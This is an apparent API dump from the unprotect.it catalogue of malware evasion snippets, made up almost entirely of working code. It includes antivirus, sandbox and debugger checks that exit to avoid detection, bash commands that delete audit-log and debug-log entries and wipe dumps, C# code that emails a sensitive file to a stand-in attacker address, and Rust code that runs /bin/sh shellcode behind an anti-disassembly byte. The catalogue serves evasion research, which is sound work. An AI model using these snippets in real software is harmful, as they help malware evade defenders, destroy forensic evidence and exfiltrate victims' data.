HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept
{
"count": 237,
"next": "https://unprotect.it/api/snippets/?format=api&page=2",
"previous": null,
"results": [
{
"id": 242,
"language": {
"id": 8,
"label": "PowerShell",
"code_class": "powershell"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/394/?format=api",
"description": "",
"plain_code": "# This requires file auditing from GPO to be applied to work\r\n$query = \"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND (TargetInstance.EventCode = '4663')\"\r\nRegister-WmiEvent -Query $query -Action {\r\n\tWrite-Host '[+] File deletion or network share access detected. Likely not a sandbox...'\r\n\tNew-Item -Path \"C:\\Users\\Administrator\\Desktop\\SandboxStop.txt\" -ItemType File\r\n}"
},
{
"id": 241,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 50,
"username": "Malfav.Win32",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": "http://malfav.gitbook.io/home",
"github": "http://github.com/malfav"
},
"technique": "https://unprotect.it/api/techniques/48/?format=api",
"description": "",
"plain_code": "import ctypes\r\nimport psutil\r\nimport sys\r\n\r\ndef is_av_present():\r\n av_signatures = [\r\n \"avghookx.dll\", \"avghooka.dll\", # AVG\r\n \"snxhk.dll\", \"sf2.dll\", # Avast\r\n \"sbiedll.dll\", # Sandboxie\r\n \"dbghelp.dll\", # WindBG, WINE\r\n \"api_log.dll\", \"dir_watch.dll\", # iDefense Lab\r\n \"pstorec.dll\", # SunBelt Sandbox\r\n \"vmcheck.dll\", # Virtual PC\r\n \"wpespy.dll\", # WPE Pro\r\n \"cmdvrt64.dll\", \"cmdvrt32.dll\", # Comodo Container\r\n \"sxin.dll\", # 360 SOFTWARE\r\n \"printfhelp.dll\", # Unknown Sandbox\r\n \"ekrn.exe\", # ESET\r\n \"avguard.exe\", \"avscan.exe\", # Avira\r\n \"ccSvcHst.exe\", \"norton.exe\", # Norton\r\n \"mcshield.exe\", \"mcupdate.exe\", # McAfee\r\n \"fsav.exe\", \"fsgk32.exe\", # F-Secure\r\n \"kav.exe\", \"kavsvc.exe\", # Kaspersky\r\n \"msmpeng.exe\", \"mpcmdrun.exe\" # Windows Defender\r\n ]\r\n\r\n for proc in psutil.process_iter(attrs=['pid', 'name']):\r\n try:\r\n if any(av.lower() in proc.info['name'].lower() for av in av_signatures):\r\n print(f\"Detected AV process: {proc.info['name']} (PID: {proc.info['pid']})\")\r\n return True\r\n except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):\r\n pass\r\n return False\r\n\r\nif is_av_present():\r\n print(\"Antivirus detected! Exiting process to avoid detection.\")\r\n sys.exit(0)\r\n\r\nprint(\"No antivirus detected. Proceeding with execution.\")"
},
{
"id": 240,
"language": {
"id": 1,
"label": "Delphi",
"code_class": "Delphi"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/328/?format=api",
"description": "The exported function must follow a specific signature to be invoked by rundll32.exe.\r\n\r\nYou can then call the exported function using the following command:\r\n\r\n`rundll32.exe <dll>,<exported_function> <args>`\r\n\r\n`rundll32.exe rundll.dll,UnprotectFunction Hello, World`",
"plain_code": "library rundll32;\r\n\r\nuses\r\n System.SysUtils,\r\n Winapi.Windows;\r\n\r\nconst LOG_TEMPLATE = 'Unprotect -> %s';\r\n\r\n{ Simplify ODS Call }\r\nprocedure Debug(const AMessage : PWideChar); stdcall;\r\nbegin\r\n OutputDebugStringW(PWideChar(Format(LOG_TEMPLATE, [WideCharToString(AMessage)])));\r\nend;\r\n\r\n{ One method to retrieve process name from PID }\r\nfunction GetProcessName(const AProcessID : Cardinal) : String;\r\nvar QueryFullProcessImageNameW : function(\r\n AProcess: THANDLE;\r\n AFlags: DWORD;\r\n AFileName: PWideChar;\r\n var ASize: DWORD\r\n ): BOOL; stdcall;\r\n\r\nconst PROCESS_QUERY_LIMITED_INFORMATION = $00001000;\r\nbegin\r\n result := '';\r\n ///\r\n\r\n if (TOSVersion.Major < 6) then\r\n Exit();\r\n ///\r\n\r\n QueryFullProcessImageNameW := nil;\r\n\r\n var hDLL := LoadLibrary('kernel32.dll');\r\n if hDLL = 0 then\r\n Exit();\r\n try\r\n @QueryFullProcessImageNameW := GetProcAddress(hDLL, 'QueryFullProcessImageNameW');\r\n ///\r\n\r\n if Assigned(QueryFullProcessImageNameW) then begin\r\n var hProc := OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, AProcessID);\r\n if hProc = 0 then exit;\r\n try\r\n var ALength : DWORD := (MAX_PATH * 2);\r\n\r\n SetLength(result, ALength);\r\n\r\n if NOT QueryFullProcessImageNameW(hProc, 0, @result[1], ALength) then\r\n Exit();\r\n\r\n SetLength(result, ALength);\r\n finally\r\n CloseHandle(hProc);\r\n end;\r\n end;\r\n finally\r\n FreeLibrary(hDLL);\r\n end;\r\nend;\r\n\r\n{ Exported Function : Require this function signature be operated by Rundll32 }\r\nprocedure UnprotectFunction(hHwnd, hInstance : THandle; lpszCmdLine : PAnsiChar; nCmdShow : Integer); stdcall;\r\nbegin\r\n var AProcessId := GetCurrentProcessId();\r\n\r\n var AMessage := Format('%s' + #13#10#13#10 + 'From: %s (%d / 0x%x)',\r\n [\r\n lpszCmdLine,\r\n ExtractFileName(GetProcessName(AProcessId)),\r\n AProcessId,\r\n AProcessId\r\n ]\r\n );\r\n\r\n MessageBoxA(0, PAnsiChar(AnsiString(AMessage)), 'Unprotect Test', MB_ICONINFORMATION);\r\n\r\n // Define and parse `lpszCmdLine` to extend functionality of your payload\r\n // (Ex: rev shell IP, Port, App; Encoded shellcode etc..)\r\nend;\r\n\r\n{ DLL Initialization / Finalization }\r\nprocedure DllMain(const AReason : DWORD);\r\nbegin\r\n case AReason of\r\n DLL_PROCESS_ATTACH:\r\n Debug('DLL_PROCESS_ATTACH');\r\n\r\n // ...\r\n end;\r\nend;\r\n\r\n{ Define Exportations }\r\nexports\r\n UnprotectFunction index 14 name 'UnprotectFunction';\r\n\r\n{ EP }\r\nbegin\r\n DllProc := @DllMain;\r\n\r\n DllMain(DLL_PROCESS_ATTACH);\r\n\r\nend."
},
{
"id": 239,
"language": {
"id": 12,
"label": "bash",
"code_class": "bash"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/393/?format=api",
"description": "",
"plain_code": "# Navigate to the SELinux audit log directory\r\ncd /data/var/log/audit/\r\n\r\n# Remove specific executed commands from the audit log\r\nsed -i '/bin\\/web/d' audit.log\r\nsed -i '/setenforce/d' audit.log\r\nsed -i '/mount/d' audit.log\r\nsed -i '/bin\\/rm/d' audit.log"
},
{
"id": 238,
"language": {
"id": 12,
"label": "bash",
"code_class": "bash"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/392/?format=api",
"description": "",
"plain_code": "# Remove all state dumps and core dumps\r\nrm -rf /data/var/statedumps/*\r\nrm -rf /data/var/cores/*"
},
{
"id": 237,
"language": {
"id": 12,
"label": "bash",
"code_class": "bash"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/391/?format=api",
"description": "",
"plain_code": "# Navigate to the debug log directory\r\ncd /data/var/dlogs/\r\n\r\n# Remove specific entries from debug logs\r\nsed -i '/segfault/d' debuglog\r\nsed -i '/segfault/d' debuglog.old\r\nsed -i '/SystemError/d' debuglog\r\nsed -i '/SystemError/d' debuglog.old\r\nsed -i '/ifttls/d' debuglog\r\nsed -i '/ifttls/d' debuglog.old\r\nsed -i '/main.cc/d' debuglog\r\nsed -i '/main.cc/d' debuglog.old\r\nsed -i '/SSL_read/d' debuglog\r\nsed -i '/SSL_read/d' debuglog.old\r\nsed -i '/tlsconnectionpoint/d' debuglog\r\nsed -i '/tlsconnectionpoint/d' debuglog.old"
},
{
"id": 236,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"username": "",
"email": "",
"linkedin": "",
"twitter": "",
"website": "",
"github": ""
},
"technique": "https://unprotect.it/api/techniques/389/?format=api",
"description": "This decryption function, authored by Check Point Research, uses a bitwise right-shift and XOR operation with a provided encryption key to decrypt MacOS XProtect binaries and similar encrypted strings, terminating at the first null character.",
"plain_code": "def macos_xprotect_string_decryption(encrypted: bytes, encr_key: int) -> str:\r\n \"\"\"\r\n Author: @Check Point Research\r\n Decrypts MacOS Xprotect binaries & Banshee Stealer encrypted strings.\r\n \"\"\"\r\n decrypted = \"\".join(\r\n chr(\r\n (encr_key >> ((i * 8) & 0x38) & 0xFF) ^ encrypted[i]\r\n )\r\n for i in range(len(encrypted))\r\n )\r\n return decrypted.partition(\"\\\\x00\")[0]"
},
{
"id": 235,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/388/?format=api",
"description": "",
"plain_code": "import ctypes\r\nimport os\r\nimport sys\r\nimport platform\r\n\r\ndef is_debugger_attached():\r\n try:\r\n libc = ctypes.CDLL('/usr/lib/libc.dylib')\r\n \r\n # Define function prototype for sysctl\r\n libc.sysctl.argtypes = [\r\n ctypes.POINTER(ctypes.c_int),\r\n ctypes.c_uint,\r\n ctypes.c_void_p,\r\n ctypes.POINTER(ctypes.c_size_t),\r\n ctypes.c_void_p,\r\n ctypes.c_size_t\r\n ]\r\n \r\n # flags\r\n kinfo_proc = (ctypes.c_byte * 648)() # Size for arm64\r\n size = ctypes.c_size_t(ctypes.sizeof(kinfo_proc))\r\n \r\n # MIB for sysctl\r\n CTL_KERN = 1\r\n KERN_PROC = 14\r\n KERN_PROC_PID = 1\r\n \r\n mib = (ctypes.c_int * 4)(CTL_KERN, KERN_PROC, KERN_PROC_PID, os.getpid())\r\n \r\n\r\n ret = libc.sysctl(mib, 4, kinfo_proc, ctypes.byref(size), None, 0)\r\n print(f\"sysctl return: {ret}\")\r\n \r\n if ret == 0:\r\n # The p_flag field is at offset 0x18 (24) in arm64\r\n p_flag = int.from_bytes(kinfo_proc[24:28], byteorder='little')\r\n print(f\"Process flags: {p_flag:08x}\")\r\n \r\n P_TRACED = 0x00000800 # Being traced (debugged)\r\n P_TRACED_SYS = 0x00000200 # System trace flag\r\n \r\n is_traced = bool(p_flag & (P_TRACED | P_TRACED_SYS))\r\n print(f\"Trace flags check: {p_flag & (P_TRACED | P_TRACED_SYS):08x}\")\r\n return is_traced\r\n \r\n except Exception as e:\r\n print(f\"Error: {str(e)}\")\r\n return False\r\n\r\n# Alternative method using vmmap\r\ndef check_debugger_vmmap():\r\n try:\r\n import subprocess\r\n cmd = f\"vmmap {os.getpid()}\"\r\n result = subprocess.run(cmd.split(), capture_output=True, text=True)\r\n return \"LLDB\" in result.stdout or \"debugserver\" in result.stdout\r\n except:\r\n return False\r\n\r\nprint(\"Starting debugger check...\")\r\nprint(f\"Current PID: {os.getpid()}\")\r\nprint(f\"Platform: {platform.machine()}\")\r\n\r\nprint(\"\\nMethod 1: sysctl\")\r\nif is_debugger_attached():\r\n print(\"⚠️ Debugger detected!\")\r\nelse:\r\n print(\"✅ No debugger attached\")\r\n\r\nprint(\"\\nMethod 2: vmmap\")\r\nif check_debugger_vmmap():\r\n print(\"⚠️ Debugger detected!\")\r\nelse:\r\n print(\"✅ No debugger attached\")"
},
{
"id": 234,
"language": {
"id": 9,
"label": "C#",
"code_class": "csharp"
},
"user": {
"id": 49,
"username": "Tasdir",
"email": "",
"linkedin": "https://www.linkedin.com/in/tasdir/",
"twitter": "https://x.com/tasdir_x",
"website": null,
"github": "https://github.com/tasdir"
},
"technique": "https://unprotect.it/api/techniques/387/?format=api",
"description": "This code demonstrates a data exfiltration technique where a file (report.pdf) is sent as an email attachment to an attacker-controlled email address using SMTP, leveraging hardcoded credentials and SSL/TLS encryption for transmission.",
"plain_code": "using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Net.Mail;\r\n\r\nclass C2ViaSMTP\r\n{\r\n static void Main()\r\n {\r\n // Target file exfiltrate\r\n string targetFilePath = @\"C:\\SensitiveData\\report.pdf\";\r\n string emailRecipient = \"attacker@example.com\";\r\n string attackerEmail = \"malwarebot@gmail.com\";\r\n string attackerPassword = \"maliciouspassword123\";\r\n\r\n try\r\n {\r\n // Send data as a email message\r\n MailMessage message = new MailMessage();\r\n message.From = new MailAddress(attackerEmail);\r\n message.To.Add(emailRecipient);\r\n message.Subject = \"Exfiltrated Data\";\r\n message.Body = \"Attached file contains sensitive exfiltrated data.\";\r\n \r\n // Add target file as attachment\r\n Attachment attachment = new Attachment(targetFilePath);\r\n message.Attachments.Add(attachment);\r\n\r\n // Configure SMTP client\r\n SmtpClient smtpClient = new SmtpClient(\"smtp.gmail.com\")\r\n {\r\n Port = 587,\r\n Credentials = new NetworkCredential(attackerEmail, attackerPassword),\r\n EnableSsl = true\r\n };\r\n\r\n // Send email\r\n smtpClient.Send(message);\r\n Console.WriteLine(\"Data exfiltration email sent successfully.\");\r\n }\r\n catch (Exception ex)\r\n {\r\n Console.WriteLine(\"Error: \" + ex.Message);\r\n }\r\n }\r\n}"
},
{
"id": 233,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/386/?format=api",
"description": "",
"plain_code": "import xml.etree.ElementTree as ET\r\nimport os.path\r\n\r\nXMLFile = os.path.expanduser(\"~/.local/share/recently-used.xbel\")\r\n\r\n# Threshold is how many recently accessed files to look for to differentiate between sandbox/VM & real user\r\n# If the recently accessed count is lower than the threshold, it's assumed to be a sandbox/VM\r\nthreshold = 10 \r\n\r\n# Parse XML file & extract filenames & the respective application name that was used to open/view file\r\ndef extractElements(XMLFile):\r\n tree = ET.parse(XMLFile)\r\n\r\n root = tree.getroot()\r\n\r\n appFile = []\r\n\r\n for item in root.findall(\"./bookmark\"):\r\n filePath = item.get(\"href\")\r\n\r\n\r\n applicationHandle = item.find(\".//{*}application\")\r\n applicationName = applicationHandle.get(\"name\")\r\n\r\n\r\n appFile.append(f\"{applicationName}:{filePath}\")\r\n\r\n return appFile\r\n\r\nif __name__ == \"__main__\":\r\n elements = extractElements(XMLFile)\r\n if len(elements) < threshold:\r\n print(f\"[!] Recently accessed file count is lower than set threshold! Possible sandbox/VM (file count: threshold): {len(elements)}:{threshold}\")\r\n else:\r\n print(f\"[+] Recently accessed file count is higher than set threshold. Possibly an active user (file count: threshold): {len(elements)}:{threshold}\")"
},
{
"id": 232,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/348/?format=api",
"description": "This code snippet examines artifacts of typical human activity, focusing on Linux systems with Firefox installed. It checks for browser add-ons presence and browsing history to distinguish real users from sandbox or VM environments.",
"plain_code": "import json, sys, getpass, os, sqlite3\r\n\r\ndef parseExtensionsFile(path):\r\n with open(path) as f:\r\n data = json.load(f)\r\n\r\n uniqueExts = []\r\n for (i, x) in enumerate(data[\"addons\"]):\r\n if x[\"name\"] not in uniqueExts:\r\n uniqueExts.append(x[\"name\"])\r\n\r\n if len(uniqueExts) > 0:\r\n print(\"[+] Extensions found! Possibly not a sandbox, continuing with checks...\")\r\n print(f\"[+] Discovered extensions: {uniqueExts}\")\r\n else:\r\n print(f\"[!] No extensions found! Possible sandbox: {uniqueExts}\")\r\n\r\ndef findExtensionsFile():\r\n baseDir = \"/home/\" + getpass.getuser() + \"/.mozilla/firefox/\"\r\n print(f\"[+] Searching {baseDir}\")\r\n files = os.listdir(baseDir)\r\n for file in files:\r\n # \"default-release\" is typically the directory with all the juicy json & sqlite files\r\n if \"default-release\" in file: \r\n print(f\"[+] Searching {baseDir}{file} for addons json file...\")\r\n fullDir = baseDir + file + \"/addons.json\"\r\n return fullDir\r\n\r\ndef checkSearchbarHistory(path):\r\n print(f\"[+] Grabbing searchbar history from {path}...\")\r\n conn = sqlite3.connect(path)\r\n cursor = conn.execute('''\r\n SELECT * FROM moz_formhistory\r\n ''')\r\n rows = cursor.fetchall()\r\n typedHist = []\r\n for row in rows:\r\n if \"searchbar-history\" in row:\r\n typedHist.append(row[2])\r\n\r\n if len(typedHist) > 0:\r\n print(f\"[+] Typed searchbar history found! Potential user activity, possibly not a sandbox: {typedHist}\")\r\n else:\r\n print(f\"[!] No searchbar history found! Possible sandbox: {typedHist}\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n path = findExtensionsFile()\r\n parseExtensionsFile(path)\r\n\r\n # Building path to formhistory.sqlite file\r\n formPath = path.strip(\"addons.json\") + \"formhistory.sqlite\"\r\n checkSearchbarHistory(formPath)"
},
{
"id": 231,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/385/?format=api",
"description": "",
"plain_code": "package main\r\nimport (\r\n\t\"golang.org/x/sys/windows/registry\"\r\n\t\"fmt\"\r\n)\r\n\r\nfunc main() {\r\n\tk, err := registry.OpenKey(registry.CURRENT_USER, `CONTROL Panel\\\\Desktop`, registry.QUERY_VALUE)\r\n\tif err != nil {\r\n\t\tfmt.Println(err)\r\n\t}\r\n\tdefer k.Close()\r\n\r\n\ts, _, err := k.GetStringValue(\"Wallpaper\")\r\n\tif err != nil {\r\n\t\tfmt.Println(err)\r\n\t}\r\n\r\n\tif (s == \"C:\\\\Windows\\\\web\\\\wallpaper\\\\Windows\\\\img0.jpg\") {\r\n\t\tfmt.Println(\"[+] Default wallpaper detected! Possible sandbox/VM...\")\r\n\t} else {\r\n\t\tfmt.Println(\"[+] Wallpaper isn't set to default. Continuing checks...\")\r\n\t}\r\n}"
},
{
"id": 230,
"language": {
"id": 5,
"label": "Assembly",
"code_class": "x86asm"
},
"user": {
"id": 46,
"username": "0x_ror",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/ghiorodolphe/",
"twitter": "https://x.com/0x_ror",
"website": "https://blog.rodolpheg.xyz/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/81/?format=api",
"description": "1) The code starts with a normal function call to establish legitimacy\r\n\r\n2) Then it abuses the return pointer by:\r\n\r\n- Pushing a calculated address into the middle of function2\r\n- Using RET to jump there instead of actually returning\r\n\r\n3) This tricks disassemblers because:\r\n\r\n- They expect RET to mark the end of a function\r\n- They can't easily track the dynamic control flow\r\n- They may miss the code after the jump target\r\n\r\n Analysis Impact:\r\n\r\n- Static analysis tools will likely show incorrect control flow\r\n- Disassemblers may miss chunks of code entirely\r\n- Function boundaries become unclear\r\n- Makes it harder to understand the actual execution path",
"plain_code": ".386\r\n.model flat, stdcall\r\n.code\r\n\r\nstart:\r\n ; Legitimate looking function call to establish normal pattern\r\n call normal_function \r\n \r\n ; Here's where we start the anti-disassembly technique\r\n push offset hidden_function + 5 ; Push address into middle of function\r\n ret ; Jump to that address instead of returning\r\n ; Most disassemblers will think code ends here\r\n \r\n ; Decoy instructions that may confuse analysis\r\n mov eax, 0\r\n jmp $\r\n \r\nnormal_function:\r\n push ebp\r\n mov ebp, esp\r\n \r\n ; Normal looking code to appear legitimate\r\n xor eax, eax\r\n inc eax\r\n \r\n pop ebp\r\n ret\r\n \r\nhidden_function:\r\n ; First few bytes might never be executed\r\n push ebp\r\n mov ebp, esp\r\n \r\n ; This is where execution actually continues\r\n ; Disassemblers may miss this entirely\r\n mov ebx, 0DEADBEEFh ; Hidden payload\r\n xor ecx, ecx\r\n add edx, ebx\r\n \r\n ; More anti-analysis tricks\r\n call $+5 ; Push next instruction address\r\n pop eax ; Get that address in eax\r\n add eax, 10 ; Calculate next real instruction\r\n push eax\r\n ret ; Another obfuscated jump\r\n \r\n ; Hidden code continues...\r\n mov eax, 1\r\n pop ebp\r\n ret\r\n\r\nend start"
},
{
"id": 229,
"language": {
"id": 14,
"label": "Rust",
"code_class": "rust"
},
"user": {
"id": 48,
"username": "Gelven",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/jpettersen/",
"twitter": null,
"website": "https://gelven4sec.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/83/?format=api",
"description": "",
"plain_code": "#![no_main]\r\n\r\nmacro_rules! rogue_byte {\r\n ($byte:expr) => {\r\n unsafe {\r\n core::arch::asm!(\r\n \"lea r8, [rip]\", // Get next position\r\n \"add r8, 8\", // Offset after rogue\r\n \"push r8\", // Jump after rogue\r\n \"ret\",\r\n concat!(\".byte \", $byte), // inject rogue byte\r\n options(nostack, nomem)\r\n )\r\n }\r\n };\r\n}\r\n\r\n// $ pwn shellcraft amd64.linux.sh\r\n#[no_mangle]\r\n#[link_section=\".text\"]\r\nstatic SHELLCODE: [u8; 48] = [\r\n 0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,\r\n 0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x01,0x01,0x81,0x34,0x24,\r\n 0x01,0x01,0x01,0x01,0x31,0xf6,0x56,0x6a,0x08,0x5e,0x48,0x01,\r\n 0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0x0f,0x05\r\n];\r\n\r\n#[no_mangle]\r\nfn main() -> usize {\r\n // Get shellcode function pointer\r\n let malicious: extern \"C\" fn() -> usize = unsafe { \r\n std::mem::transmute(&SHELLCODE as *const _ as *const ())\r\n };\r\n\r\n rogue_byte!(0xe8);\r\n malicious();\r\n\r\n return 0;\r\n}"
},
{
"id": 228,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 46,
"username": "0x_ror",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/ghiorodolphe/",
"twitter": "https://x.com/0x_ror",
"website": "https://blog.rodolpheg.xyz/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/10/?format=api",
"description": "This technique detects virtual environment processes by looking for common process names associated with virtualization software like VMware and VirtualBox.\r\n\r\nIt works by:\r\n\r\n* 1. Maintaining a list of known virtual environment process names\r\n* 2. Taking a snapshot of currently running processes\r\n* 3. Comparing each running process against the known list\r\n* 4. Returns true if any virtual environment process is found",
"plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n#include <vector>\r\n#include <string>\r\n#include <iostream>\r\n\r\nbool DetectVirtualEnvironmentProcess() {\r\n // List of common virtual environment process names\r\n std::vector<std::wstring> virtualProcesses = {\r\n L\"VMwareService.exe\",\r\n L\"VMwareTray.exe\", \r\n L\"TPAutoConnSvc.exe\",\r\n L\"VMtoolsd.exe\",\r\n L\"VMwareuser.exe\",\r\n // VirtualBox specific processes\r\n L\"VBoxService.exe\",\r\n L\"VBoxTray.exe\"\r\n };\r\n\r\n // Create snapshot of current processes\r\n HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n if (hProcessSnap == INVALID_HANDLE_VALUE) {\r\n return false;\r\n }\r\n\r\n PROCESSENTRY32W pe32;\r\n pe32.dwSize = sizeof(PROCESSENTRY32W);\r\n\r\n // Get first process\r\n if (!Process32FirstW(hProcessSnap, &pe32)) {\r\n CloseHandle(hProcessSnap);\r\n return false;\r\n }\r\n\r\n // Iterate through all processes\r\n do {\r\n for (const auto& virtualProcess : virtualProcesses) {\r\n // Case insensitive comparison of process names\r\n if (_wcsicmp(pe32.szExeFile, virtualProcess.c_str()) == 0) {\r\n std::wcout << L\"Virtual environment process detected: \" << pe32.szExeFile << std::endl;\r\n CloseHandle(hProcessSnap);\r\n return true;\r\n }\r\n }\r\n } while (Process32NextW(hProcessSnap, &pe32));\r\n\r\n CloseHandle(hProcessSnap);\r\n return false;\r\n}\r\n\r\nint main() {\r\n if (DetectVirtualEnvironmentProcess()) {\r\n std::cout << \"Running in a virtual environment!\" << std::endl;\r\n } else {\r\n std::cout << \"No virtual environment detected.\" << std::endl;\r\n }\r\n return 0;\r\n}"
},
{
"id": 227,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 47,
"username": "Wietze",
"email": "",
"linkedin": null,
"twitter": "https://twitter.com/wietze",
"website": "https://wietze.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/358/?format=api",
"description": "",
"plain_code": "import os\r\n\r\nos.execvp('echo', ['ARGV[0]', 'Hello, world!'])"
},
{
"id": 226,
"language": {
"id": 10,
"label": "C",
"code_class": "C"
},
"user": {
"id": 47,
"username": "Wietze",
"email": "",
"linkedin": null,
"twitter": "https://twitter.com/wietze",
"website": "https://wietze.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/358/?format=api",
"description": "",
"plain_code": "#include <unistd.h>\r\n\r\nint main(void){\r\n return execl(\"/usr/bin/echo\", \"ARGV0\", \"Hello, world!\", NULL);\r\n}"
},
{
"id": 225,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 41,
"username": "1d8",
"email": "null@localhost",
"linkedin": "https://linkedin.com/in/icyber",
"twitter": null,
"website": "https://1d8.github.io",
"github": null
},
"technique": "https://unprotect.it/api/techniques/384/?format=api",
"description": "The attached code snippet will trigger after a file creation event occurs within the `/tmp` directory. It will read the contents of the newly created file.",
"plain_code": "import inotify.adapters\r\nimport psutil\r\n\r\ndef main():\r\n i = inotify.adapters.Inotify()\r\n\r\n i.add_watch(\"/tmp\")\r\n\r\n for event in i.event_gen(yield_nones=False):\r\n (_, type_names, path, filename) = event\r\n if \"IN_CREATE\" in type_names:\r\n fullPath = path + \"/\" + filename \r\n # Testing to see if its a swp file that was created\r\n if fullPath.split(\"/\")[-1].startswith(\".\") and fullPath.split(\"/\")[-1].endswith(\".swp\"):\r\n newPath = path + \"/\" + fullPath.split(\"/\")[-1][1:].replace(\".swp\", \"\")\r\n\r\n elif fullPath.split(\"/\")[-1].startswith(\".\") and fullPath.split(\"/\")[-1].endswith(\".swx\"):\r\n newPath = path + \"/\" + fullPath.split(\"/\")[-1][1:].replace(\".swx\", \"\")\r\n\r\n while isOpen(fullPath) == True:\r\n pass\r\n\r\n f = open(newPath, 'r')\r\n data = f.readlines()\r\n print(f\"[+] Contents of {newPath}: {data}\")\r\n\r\n\r\ndef isOpen(path):\r\n for proc in psutil.process_iter():\r\n try:\r\n for item in proc.open_files():\r\n if path == item.path:\r\n return True\r\n except Exception:\r\n pass\r\n return False\r\n\r\nif __name__ == '__main__':\r\n main()"
},
{
"id": 224,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 46,
"username": "0x_ror",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/ghiorodolphe/",
"twitter": "https://x.com/0x_ror",
"website": "https://blog.rodolpheg.xyz/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/147/?format=api",
"description": "",
"plain_code": "#include <windows.h>\r\n\r\nvoid APIHammering() {\r\n for(int i = 0; i < 10000; i++) {\r\n GetSystemTime(NULL);\r\n GetTickCount();\r\n GetCurrentProcessId(); \r\n GetCurrentThreadId();\r\n GetLastError();\r\n GetCurrentDirectory(MAX_PATH, NULL);\r\n GetSystemDirectory(NULL, MAX_PATH);\r\n GetWindowsDirectory(NULL, MAX_PATH);\r\n GetComputerName(NULL, NULL);\r\n GetUserName(NULL, NULL);\r\n GetEnvironmentVariable(\"PATH\", NULL, 0);\r\n GetSystemMetrics(SM_CXSCREEN);\r\n GetSystemMetrics(SM_CYSCREEN);\r\n GetDiskFreeSpace(NULL, NULL, NULL, NULL, NULL);\r\n GetVersionEx(NULL);\r\n GetSystemInfo(NULL);\r\n GetLocalTime(NULL);\r\n GetTimeZoneInformation(NULL);\r\n GetCommandLine();\r\n GetCurrentProcess();\r\n GetModuleHandle(NULL);\r\n GetModuleFileName(NULL, NULL, MAX_PATH);\r\n GetLogicalDrives();\r\n GetDriveType(NULL);\r\n GetVolumeInformation(NULL, NULL, 0, NULL, NULL, NULL, NULL, 0);\r\n GetSystemPowerStatus(NULL);\r\n GetSystemTimeAdjustment(NULL, NULL, NULL);\r\n GetSystemWindowsDirectory(NULL, 0);\r\n GetSystemWow64Directory(NULL, 0);\r\n GetTempPath(MAX_PATH, NULL);\r\n GetThreadPriority(GetCurrentThread());\r\n GetThreadTimes(GetCurrentThread(), NULL, NULL, NULL, NULL);\r\n GetUserDefaultLCID();\r\n GetUserDefaultLangID();\r\n GetVersion();\r\n GetSystemDefaultLCID();\r\n 